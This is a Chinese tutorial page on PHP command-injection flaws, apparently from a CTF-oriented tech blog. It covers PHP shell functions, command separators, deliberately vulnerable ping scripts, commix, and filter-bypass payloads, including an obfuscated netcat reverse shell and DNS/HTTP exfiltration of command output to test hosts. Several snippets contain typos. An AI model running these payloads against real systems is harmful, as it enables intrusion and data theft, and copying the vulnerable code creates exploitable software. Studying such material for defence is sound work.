IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 命令执行漏洞 -> 正文阅读

[PHP知识库]命令执行漏洞

命令执行漏洞

应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而执行系统命令。属于高危漏洞,如果web使用的root权限,则攻击者可以执行任意命令。

1.用户的输入未作过滤
2.参数被拼接到系统命令中执行

PHP下的命令执行函数

含有一下函数的文件需要检查是否为webshell
1.system执行命令,并且显示输出

<?php system("whoami");?>

2.exec 执行代码,但是不显示输出; 可以加上echo显示输出

<?php exec('whoami');?>
<?php echo exec('whoamni']); ?>

3.shell_exec通过shell环境执行命令,并且将完整的输出以字符串形式返回,可以加上echo函数输出结果

<?php  shell_exec('whoami') ?>
<?php echo shell_exec('whoami'); ?>

4.passthru执行外部程序并且显示原始输出

<?php passthru('whoami'); ?>

5.popen打开进程文件指针

<?php popen("tuoch test.txt","r"); ?>
执行代码后,会在当前文件夹下创建test.txt的文件

6.proc_popen执行一个命令,并且打开用来输入输出的文件指针

<?php
$proc=proc_open("whoami",
	array(
		array("pipe","r"),
		array("pipe","w"),
		array("pipe","w")
	),
	$pipes);
print stream_get_contents($pipes[1]);
?>

输出root
7.反单引号(`),是PHP的执行运算符,PHP尝试将反单引号的内容作为shell命令执行并返回

<?php echo `whoami'`; ?>

windows下的命令执行漏洞

windows下的命令连接符& && | ||
1.&命令连接符

&前面的语句为假,则执行&后面的语句
&前面的语句为真,则&前后语句都执行

C:\Users\15063883837>test&whoami
'test' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
laptop-vetfvoc6\150

在这里插入图片描述

2.&&

&&前面语句为假,则直接报错,&&后的语句不执行
&&前面语句为真,则前后语句都执行

3.|

| 前语句为假,直接报错,后面语句不执行
| 前面语句为真,执行 | 后的语句

4.||

||前面的语句为假,执行||后面的语句
||前面语句为真,只执行||前面的语句

5.漏洞实例

后端代码:

<?php
$ip=$_GET['ip'];
system("ping".$ip);
?>

用户输入 127.0.0.1 | whoami

system(' ping 127.0.0.1 | whoami')

返回用户信息

Linux下的命令执行漏洞

Linux下的命令连接符 ; & && | ||
1.;
多个命令顺序执行

id;id

2.&
是命令在后台执行,可以同时执行多条命令;无论前面语句真假,后面语句均执行

在这里插入图片描述
3.&&
前面命令执行成功,则执行后面命令
在这里插入图片描述
4.|
将前面命令的输出作为后面命令的输入,前后都执行,但显示后面命令的执行结果
在这里插入图片描述
5.||
类似if-else,前面语句执行成功,则不执行后面语句;前面语句失败,则执行后面语句
在这里插入图片描述
6.漏洞示例

后端:

<?php
	$ip=$_GET['ip];
	system("ping -c 3 ".$ip);
?>
	

用户输入127.0.0.1;pwd
执行ping -c 3 127.0.0.1pwd

命令执行自动化工具

commix检测一个请求是否存在命令注入漏洞,支持导入bp的历史记录

项目地址:https://github.com/stasinopoulos/commix
kali 已经集成

简单使用

 commix -u http://xxx.xxx.xxx.xxx?ip=127.0.0.1
 返回shell

命令执行绕过

绕过空格过滤

1.${IFS}绕过
$IFS是shell的特殊环境变量,是Linux下的内部域分隔符。$IFS存储的值可以是空格,制表符,换行符,或者其他的自定义符号

<?php 
	$ip=$_GET['ip'];
	system("ping -c 3 ".$ip);
?>

输入

http://xxxxxxxx?ip=127.0.0.1;cat ${IFS} commandexec.php
返回commandexec.php的源码内容

在这里插入图片描述

2.$IFS$9绕过

在这里插入图片描述
3.制表符%09
%09是制表符的URL编码,可以用来代替空格,绕过空格过滤

http://xxxxxxxx?ip=127.0.0.1;cat %09 commandexec.php

4.{}绕过

http://xxxxxxxx?ip=127.0.0.1;{cat.commandexec.php}

在这里插入图片描述
5.<绕过

http://xxxxxxxx?ip=127.0.0.1;cat<commandexec.php

在这里插入图片描述

绕过关键字过滤
1.变量拼接
在这里插入图片描述
2.空变量绕过
在这里插入图片描述
3.系统变量绕过
在这里插入图片描述
4.\绕过
在这里插入图片描述
5.通配符绕过
Linux支持通配符匹配

*  代表0到多个字符
? 代表一个任意字符
[] []内为字符范围,代表该范围中任意一个子符

在这里插入图片描述
6.shell反弹绕过
再利用shell反弹进行攻击时,如果存在过滤,可以通过通配符来绕过
例如要执行一下命令

/bin/nc 192.168.91.135 8888 -e /bin/bash

首先将IP换为十进制

192*(256**3)+168*(256**2)+91*256+135*1=3232258951

然后用通配符替换关键字

/b??/?c 3232258951 8888 -e /???/b??h

将payload发送给靶机
客户机可以收到反弹shell
注意:
IP的十六进制为0xC085B87
payload也可以为/b??/?c 0xC085B87 8888 -e /???/b??h

7.Base64编码绕过

base64 -d   可以解码
?ip=xxxxxxxx; `echo "aWQ="|base64 -d`

在这里插入图片描述
8.expr awk绕过

expr awk 从其他文件中或取字符并进行命令构造
例如ctf-wiki文件的内容为www.ctf-wiki.com字符串

expr substr $(awk NR=1 ctf-wiki) 1 1 
可以得到第一个字符w

9.无回显的命令注入
如果存在命令注入,但是无回显,可以通过shell反弹的方式将shell反弹到VPS上,然后通过VPS执行命令。如果无法反弹shell,也可以通过DNS管道解析的方式获取命令的执行结果。


在Linux中,以下的命令可以获取用户名‘

curl `whoami`.test.ctfs.com
ping -c 1 `whoami`.test.ctfs-wiki.com

在这里插入图片描述

在Windows中,获取计算机名

 for /F %x in ('whoami') do start http://test.ctf-wiki.com/%x

获取用户名

 for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.test.ctfs-wiki.com

在网站上执行命令获取应户名

curl http://test.ctfs-wiki.com/?.`whoami`

常见的开源DNSLog平台

http://ceye.io/
https://github.com/BugScamnTeam/DNSLog
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-31 16:22:59  更:2021-07-31 16:23:38 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 2:27:46-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码